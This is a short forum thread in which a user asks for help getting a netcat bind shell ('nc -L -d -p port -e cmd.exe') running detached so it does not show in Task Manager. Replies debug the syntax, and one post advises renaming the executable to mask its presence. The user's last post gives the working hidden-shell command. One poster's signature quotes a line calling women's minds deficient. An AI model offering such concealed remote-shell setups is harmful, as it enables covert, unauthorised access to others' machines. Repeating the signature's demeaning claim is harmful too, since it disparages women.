Results 1 to 6 of 6

Thread: Netcat remote shell

  1. #1

    Question Netcat remote shell

    When I give the command nc -L -d -p (port #) -e cmd.exe and try to connect later using
    nc -v (ip address) (port #) i cannot get a shell. the -d option makes nc run in detached mode which means that it runs in the background and the command window can be closed, and it will not show in task mngr...right? i have done a lot of research and for some damn reason i cannot get the ****er to connect. your help will be greatly appreciated!

  2. #2
    Just Another Geek
    Join Date
    Jul 2002
    Rotterdam, Netherlands
    It should work. Do you have a firewall running on the host you are connecting to?
    Oliver's Law:
    Experience is something you don't get until just after you need it.

  3. #3
    AO Curmudgeon rcgreen's Avatar
    Join Date
    Nov 2001
    It is possible that you have a version with the -e option disabled.

    Executes a program if netcat is compiled with the


    That is, the -e option has to be enabled at compile time.
    If you downloaded the executable already compiled,
    check their documentation.

    Also, check, and double check your syntax. It's easy to type
    the commands incorrectly.
    I came in to the world with nothing. I still have most of it.

  4. #4
    Join Date
    May 2003
    Somewhere in Texas
    I just tested your line (verbatum) and it worked on my W2K with nc 1.1. With all due respect, you're entering > nc {ip} {port} from the machine you're trying to connect from? Also, if you haven't done this before, you may be connecting without knowing it -- from your connecting box, try IPCONFIG to see which "window" you're in.

    Also, can you confirm a listener on your given port with netstat -an ?

    Depending on the system, I sometimes have to specify the address (with -s) otherwise, it'll listen on instead of the real IP.


  5. #5
    Senior Member
    Join Date
    Nov 2001
    try eliminating the space between the -e and cmd.exe on the server (-ecmd.exe) the same for the port. and BTW it will show in task manager even detached from a console but you can rename the executable to mask its presence.

    if you d/l ed it from @stake the -e option has been compiled in.
    Bukhari:V3B48N826 “The Prophet said, ‘Isn’t the witness of a woman equal to half of that of a man?’ The women said, ‘Yes.’ He said, ‘This is because of the deficiency of a woman’s mind.’”

  6. #6

    Talking thanx

    it's working, thanks...

    i ended up having to do nc -v -l -d -e cmd.exe -p {port} -s {ip}

    this got netcat listening with the detached window and no problem connecting.

    i have tried all sorts of combo's and this is the only one i can get to work correctly.

    thanx for the help...

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts